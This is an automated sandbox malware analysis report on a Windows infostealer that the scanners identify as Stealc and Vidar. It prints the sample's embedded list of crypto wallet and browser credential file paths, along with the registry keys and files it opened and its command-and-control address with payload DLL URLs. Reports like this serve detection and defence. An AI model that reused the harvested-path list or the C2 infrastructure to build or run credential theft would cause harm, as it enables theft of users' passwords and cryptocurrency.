Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fpi
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: ltiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.js
Source: file.exe	String found in binary or memory: n\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Led
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: ltiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.js
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.N

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2326148225.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2049783064.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	45%	ReversingLabs	Win32.Trojan.Generic
file.exe	45%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/0d60be0de163924d/nss3.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/vcruntime140.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/softokn3.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/freebl3.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/msvcp140.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/sqlite3.dll	true	unknown
http://185.215.113.206/e2b1563c6670f193.php	true	unknown
http://185.215.113.206/0d60be0de163924d/mozglue.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	ECGHJJEH.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	ECGHJJEH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/0d60be0de163924d/freebl3.dll)	file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.php=CV	file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.php2	file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	IJDGCAEBFIIECAKFHIJE.0.dr	false		unknown
http://185.215.113.206/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2344843779.0000000029431000.00000004.00000020.00020000.00000000.sdmp, IJDGCAEBFIIECAKFHIJE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.phpN	file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp, ECGHJJEH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpC	file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpZ	file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp, ECGHJJEH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.phpR	file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/sqlite3.dllc	file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpBrowser	file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpLo	file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpER	file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpb	file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phper	file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2351059192.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2339393747.000000001D376000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.php~	file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpnd	file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	ECGHJJEH.0.dr	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpFirefox	file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpv	file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ECGHJJEH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp, ECGHJJEH.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2344843779.0000000029431000.00000004.00000020.00020000.00000000.sdmp, IJDGCAEBFIIECAKFHIJE.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IJKFIIIJJKJJKEBGIDGCAEGCGD.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp, ECGHJJEH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.php_O	file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpSH	file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2344843779.0000000029431000.00000004.00000020.00020000.00000000.sdmp, IJDGCAEBFIIECAKFHIJE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/0d60be0de163924d/sqlite3.dll5	file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2344843779.0000000029431000.00000004.00000020.00020000.00000000.sdmp, IJDGCAEBFIIECAKFHIJE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.phpC:	file.exe, 00000000.00000002.2326148225.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	IJKFIIIJJKJJKEBGIDGCAEGCGD.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2344843779.0000000029431000.00000004.00000020.00020000.00000000.sdmp, IJDGCAEBFIIECAKFHIJE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.php.	file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2344843779.0000000029431000.00000004.00000020.00020000.00000000.sdmp, IJDGCAEBFIIECAKFHIJE.0.dr	false		unknown
https://support.mozilla.org	IJKFIIIJJKJJKEBGIDGCAEGCGD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206	file.exe, 00000000.00000002.2326148225.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.206/0d60be0de163924d/freebl3.dllC	file.exe, 00000000.00000002.2326148225.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	ECGHJJEH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.php(	file.exe, 00000000.00000002.2326148225.0000000000EA3000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543075
Start date and time:	2024-10-27 07:58:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 114
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/
